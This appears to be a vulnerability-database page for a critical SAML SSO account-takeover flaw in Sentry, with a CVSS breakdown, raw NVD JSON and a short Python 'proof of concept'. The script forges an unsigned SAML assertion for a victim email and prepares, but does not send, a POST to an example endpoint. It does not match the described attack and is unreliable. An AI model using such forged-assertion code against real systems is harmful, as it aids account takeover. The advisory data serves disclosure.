Security Vulnerability Report
中文
CVE-2026-42354 CVSS 9.1 CRITICAL

CVE-2026-42354

Published: 2026-05-08 23:16:39
Last Modified: 2026-05-08 23:16:39

Description

Sentry is an error tracking and performance monitoring tool. From version 21.12.0 to before version 26.4.1, a critical vulnerability was discovered in the SAML SSO implementation of Sentry. The vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability. This issue has been patched in version 26.4.1.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Sentry >= 21.12.0, < 26.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-42354 This script demonstrates the logic of sending a malicious SAML response. """ import base64 import requests from lxml import etree TARGET_ACS_URL = "https://sentry.example.com/saml/sso/" VICTIM_EMAIL = "[email protected]" # Construct a malicious SAML Assertion (Simplified) # In a real scenario, this requires signing with a key accepted by Sentry SAML_TEMPLATE = """ <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_id" Version="2.0"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>{email}</saml:NameID> </saml:Subject> </saml:Assertion> </samlp:Response> """ def generate_malicious_saml(email): return SAML_TEMPLATE.format(email=email) def exploit(): saml_assertion = generate_malicious_saml(VICTIM_EMAIL) # Encode the assertion encoded_saml = base64.b64encode(saml_assertion.encode()).decode() payload = { "SAMLResponse": encoded_saml } print(f"[*] Sending malicious SAML for {VICTIM_EMAIL}...") # The request might fail if the signature is invalid or IdP not trusted # r = requests.post(TARGET_ACS_URL, data=payload) print("[+] Payload generated (Conceptual). Requires valid IdP configuration.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42354", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:38.513", "lastModified": "2026-05-08T23:16:38.513", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sentry is an error tracking and performance monitoring tool. From version 21.12.0 to before version 26.4.1, a critical vulnerability was discovered in the SAML SSO implementation of Sentry. The vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability. This issue has been patched in version 26.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "references": [{"url": "https://github.com/getsentry/sentry/commit/0c67558ae7fe08738912d4c5233b53ead048da3b", "source": "[email protected]"}, {"url": "https://github.com/getsentry/sentry/pull/113720", "source": "[email protected]"}, {"url": "https://github.com/getsentry/sentry/releases/tag/26.4.1", "source": "[email protected]"}, {"url": "https://github.com/getsentry/sentry/security/advisories/GHSA-rcmw-7mc7-3rj7", "source": "[email protected]"}]}}